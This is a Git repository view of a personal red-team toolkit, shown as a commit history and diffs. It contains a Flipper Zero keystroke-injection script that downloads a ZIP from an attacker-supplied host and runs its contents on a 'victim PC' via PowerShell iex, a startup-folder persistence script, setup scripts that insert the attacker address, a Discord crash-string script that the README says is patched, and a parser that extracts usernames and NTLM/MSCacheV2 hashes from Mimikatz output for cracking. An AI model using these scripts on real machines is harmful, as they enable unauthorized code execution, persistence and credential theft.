30 Commits

Author SHA1 Message Date
Fr3ki c16d55fd32 Creation of Katz^2 2025-02-21 18:46:48 -07:00
Fr3ki 3ab048e6bc Goose Dropper V2.1 2025-01-31 13:02:19 -07:00
Fr3ki 91596a736f Merge pull request #4 from Fr3ki/KD-Readme
Reflect non-functionality
2024-10-23 22:17:19 -06:00
Fr3ki 5b98f47875 Reflect non-functionality
The "exploit" used in the "Kill Discord" duckyscript is now long-since patched, making this script non-functional.
2024-10-23 22:16:42 -06:00
Malachi 352b4740f4 Merge pull request #3 from Fr3ki/Kill_Discord
Added Kill_Discord
2024-04-13 15:17:30 -06:00
Fr3ki b13c5e1f38 Added Kill_Discord 2024-04-13 15:11:27 -06:00
Malachi 59f3b78222 Fix syntax 2023-10-31 16:49:21 -06:00
Malachi c3e806b725 Merge pull request #2 from Fr3ki/v2.0_bugfix_1
V2.0 bugfix 1
2023-10-31 16:35:08 -06:00
Fr3ki 578fb6b512 Fix bug with URLs and add option to bypass the ZIP folder creation 2023-10-31 16:33:00 -06:00
Fr3ki 9791e1b886 Fix bug with URLs and add option to bypass the ZIP folder creation 2023-10-31 16:29:20 -06:00
Malachi a89dc0a98c Update README.md 2023-10-31 15:48:05 -06:00
Malachi 6988348297 Merge pull request #1 from Fr3ki/GooseDropper_V2.0
Goose dropper v2.0
2023-10-31 15:46:47 -06:00
Malachi 97f37c42db Merge branch 'master' into GooseDropper_V2.0 2023-10-31 15:46:13 -06:00
Fr3ki 5041471bf5 Goose Dropper v2.0 README again 2023-10-31 15:42:36 -06:00
Fr3ki 4c32c797e5 Goose Dropper v2.0 bugfix/README 2023-10-31 15:40:52 -06:00
Fr3ki a2408392a9 Goose Dropper v2.0 bugfix 2023-10-31 15:39:06 -06:00
Fr3ki 0723ee2b2e Goose Dropper v2.0 bugfix 2023-10-31 15:29:10 -06:00
Fr3ki 7e089a2556 Dropper v2.0 2023-10-31 15:11:18 -06:00
Fr3ki 665b59a62a Dropper v2.0 2023-10-31 15:10:53 -06:00
Malachi 300a0bb90b Update README.md 2023-10-29 01:39:55 -06:00
Malachi dc39957706 Update README.md 2023-10-29 01:36:44 -06:00
Malachi 3ddebfa818 Update README.md 2023-10-29 01:30:25 -06:00
Malachi f7ea353e8e Create README.md 2023-10-29 01:29:06 -06:00
Fr3ki 51df053bc7 Fixing spelling 2023-10-29 01:28:26 -06:00
Fr3ki decdad9c0f fixing directory structure 2023-10-29 01:22:48 -06:00
Fr3ki 8a56414b2d fixing directory structure 2023-10-29 01:22:14 -06:00
Malachi 75d98d6819 Create LICENSE 2023-10-29 01:19:28 -06:00
Malachi b6d223d87c Update README.md 2023-10-29 01:12:36 -06:00
Malachi 373c53f6fb Update README.md 2023-10-29 01:12:06 -06:00
Fr3ki 8a394ca1a7 Hello World 2023-10-29 01:03:44 -06:00
11 changed files with 226 additions and 1 deletions
@@ -0,0 +1,23 @@
REM TITLE GooseDropper
REM AUTHOR Fr3ki
REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and run it on the victim PC
DELAY 500
GUI r
DELAY 500
STRING powershell wget YOUR_IP/ZIP -OutFile $ENV:Temp/Update.zip
ENTER
DELAY 8000
GUI r
DELAY 500
STRING powershell Expand-Archive $ENV:Temp\Update.zip -DestinationPath $ENV:Temp\Chrome_Update
ENTER
DELAY 3000
GUI r
DELAY 500
STRING powershell gc $env:Temp\Chrome_Update\Update\PersistentGoose.ps1 | iex
ENTER
DELAY 1000
GUI r
DELAY 500
STRING %Temp%\Chrome_Update\Update\GooseDesktop.exe
ENTER
@@ -0,0 +1,6 @@
$WScriptShell = New-Object -ComObject WScript.Shell
$TargetFile = "$env:Temp\Chrome_Update\Update\GooseDesktop.exe"
$ShortcutFile = "C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HONK.lnk"
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
$Shortcut.TargetPath = $TargetFile
$Shortcut.Save()
+25
View File
@@ -0,0 +1,25 @@
**======= Goose Dropper v2.0 ========**
This is a duckyscript originally designed for Flipper-Zero to drop Desktop Goose (by Samperson) on a Windows PC. **NOW WITH PERSISTENCE**
--------------------------------------------------------------------------------------------------------------
**Important Notes:**
Ensure configuration is run while on the same network as your target, re-configure with each new network, unless the download location provided is publicly accessible.
All credit goes to Samperson for the development of Desktop Goose: https://itch.io/profile/samperson | https://twitter.com/samnchiet
**=== v2.0 Notes ==**
Added persistence via a PowerShell script that makes a shortcut in the startup folder.
Revamped updater with more options and better dialogue.
Bugfixes to ensure payloads get delivered successfully.
**=== v2.1 Notes ==**
Simplified configurators to remove unnecessary complexity
Added Windows auto-configuration tool.
+31
View File
@@ -0,0 +1,31 @@
#!/bin/bash
IP=$1
ZIP=$2
PERSIST=$3
#Ensure required arguments are not empty
if [ "${IP}" == "" ] | [ "${ZIP}" == "" ];
then
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
fi
#Check for help command
if [ "${IP,,}" == "-h" ] | [ "${IP,,}" == "help" ];
then
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
fi
#Replace placeholders with provided values
sed -i "s/YOUR_IP/$IP/" GooseDropper.txt
sed -i "s/ZIP/$ZIP/" GooseDropper.txt
#Remove persistance if desired
if [ "${PERSIST,,}" == "n" ];
then
sed -i "15d;16d;17d;18d;19d" GooseDropper.txt
else
break
fi
@@ -0,0 +1,30 @@
param (
[string]$HELP,
[string]$IP,
[string]$ZIP,
[string]$PERSIST
)
# Ensure required arguments are not empty
if (-not $IP -or -not $ZIP) {
Write-Host "Usage: .\windows_setup.ps1 <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
}
# Check for help command
if ($HELP) {
Write-Host "Usage: .\windows_setup.ps1 <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
}
# Replace placeholders with provided values
(Get-Content "GooseDropper.txt") | ForEach-Object { $_ -replace 'YOUR_IP', $IP -replace 'ZIP', $ZIP } | Set-Content "GooseDropper.txt"
# Remove persistence if desired
if ($PERSIST.ToLower() -eq "n") {
$lines = Get-Content "GooseDropper.txt"
$lines = $lines[0..14] + $lines[19..($lines.Length - 1)]
Set-Content "GooseDropper.txt" $lines
} else {
break
}
+12
View File
@@ -0,0 +1,12 @@
# This specific "Exploit" has been patched and is no-longer usable.
---
Kill_Discord is a duckyscript that does exactly what the name implies.
As of April 2024 the string "http://./\<#0>: ://./<#0>" without the quotes will crash your Discord client when pasted into any message box.
This script opens Discord on the target machine and pastes that string into the first available text box.
Just to reitterate this crashes the Discord client of the SENDER, hence the need for a duckyscript.
As always, don't be a skid, and only use these scripts on devices which you are expresely authorized to use them on. I am not liable for any unauthorized usage or damage caused by the usage of this tool.
@@ -0,0 +1,12 @@
DELAY 500
GUI r
DELAY 500
STRING C:\ProgramData\%USERNAME%\Discord\Update.exe --processStart Discord.exe
DELAY 500
ENTER
DELAY 2000
CTRL k
DELAY 100
ENTER
DELAY 500
STRING http://./\<#0>: ://./<#0>
View File
+5 -1
View File
@@ -1,2 +1,6 @@
# Misadventures
Red/Purple-Team tools
This is a set of Red and Purple team tools I've developed, mostly just for fun, but some may find them useful.
Feel free to leave tips, comments, or suggestion in the comments, on my website at https://fr3ki.xyz or my twitter @Fr3ki_
Licence: https://www.gnu.org/licenses/gpl-3.0.html
+14
View File
@@ -0,0 +1,14 @@
# Katz^2
Katz Squared is a small python parser for Mimikatz log files, allowing for username/hash combos to be written to txt files, ready for use with Hashcat (you get the joke yet?) or John.
---
Usage: `katz2.py [-h] -f/--file -m/--mode`
-
**Modes:**
- logonpasswords - Used for files containing the output of the mimikatz module of the same name.
- cache -- Used for files containing the output of the lsadump::cache mimikatz module
---
**License:**
GPLv3 as all good software should be.
+68
View File
@@ -0,0 +1,68 @@
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", help="Mimikatz output file", required=True)
parser.add_argument("-m", "--mode", help="Mimikatz mode used to obtain the output logonpasswords|cache", required=True)
args = parser.parse_args()
def dump(creds):
if isinstance(creds, list) and len(creds) >= 2:
username = creds[0]
hsh = creds[1]
dumpfile = username+".txt"
with open(dumpfile, "w+") as df:
df.write(hsh)
else:
pass
def sekurlsa():
filename = args.file
creds = []
with open(filename) as f:
for line in f:
if "authentication" in line.lower():
dump(creds)
creds = []
elif "username" in line.lower():
username = line.split(":")[1].strip()
if username.lower() in creds or username.lower() == "(null)":
pass
else:
creds.append(username.lower())
elif "ntlm" in line.lower():
ntlm = line.strip().split(":")[1].strip()
if ntlm in creds:
pass
else:
creds.append(ntlm)
def cache():
filename = args.file
creds = []
with open(filename) as f:
for line in f:
if "nl$" in line.lower():
print(creds)
dump(creds)
creds = []
elif "user" in line.lower():
username = line.split(":")[1].strip()
if username.lower() in creds or username.lower() == "(null)":
pass
else:
creds.append(username.lower())
elif "mscachev2" in line.lower():
mscache = line.strip().split(":")[1].strip()
if mscache in creds:
pass
else:
creds.append(mscache)
print("[+] Credential pairs written to disk")
if __name__ == "__main__":
match args.mode:
case "logonpasswords":
sekurlsa()
case "cache":
cache()